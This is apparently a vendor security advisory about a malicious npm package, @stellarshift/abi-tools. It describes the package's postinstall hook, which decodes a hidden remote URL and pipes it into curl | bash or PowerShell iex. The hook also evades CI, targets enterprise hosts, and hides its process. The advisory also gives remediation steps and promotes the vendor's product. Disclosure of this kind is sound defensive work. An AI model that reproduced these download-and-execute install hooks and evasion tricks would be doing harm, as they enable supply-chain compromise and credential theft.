@stellarshift/abi-toolsnpm
@stellarshift/abi-tools is a confirmed malicious npm package (MAL-2026-15821) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.1, 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @stellarshift/abi-tools (npm)
What this malware does
On npm install, the package's postinstall hook resolves a URL that is stored as an XOR-encoded integer array in endpoint-registry.json (self-labeled 'ss-xor-v1') and reconstructed at runtime; the decoded destination is https://mexc-12584333570.cos.ap-beijing.myqcloud.com/abi-tool-.... On Unix the hook runs curl -fsSL '<url>' | bash; on Windows it runs powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command iex (iwr -UseBasicParsing -Uri $uri).Content. There is no pin, hash, or signature check on the fetched bytes. Execution is gated: CI environments are short-circuited, and the payload only fires on Windows/macOS hosts where both a collaboration client (Lark or Feishu) and FortiClient VPN are detected, narrowing execution to enterprise workstations. The child is launched with detached: true, stdio: 'ignore', windowsHide: true, and the postinstall swallows all errors and force-exits 0 so npm install reports success. The package advertises ABI selector hashing utilities; there is no legitimate need to fetch and execute a hidden remote shell payload at install time. The combination of destination obfuscation, victim-selection targeting a Lark/Feishu+FortiClient enterprise cohort, CI evasion, and stealth process flags is a targeted supply-chain attack against managed enterprise endpoints.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @stellarshift/abi-tools (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @stellarshift/abi-tools across your stack and pipelines.
If you installed it — respond
@stellarshift/abi-tools is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @stellarshift/abi-tools was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @stellarshift/abi-tools before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @stellarshift/abi-tools-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.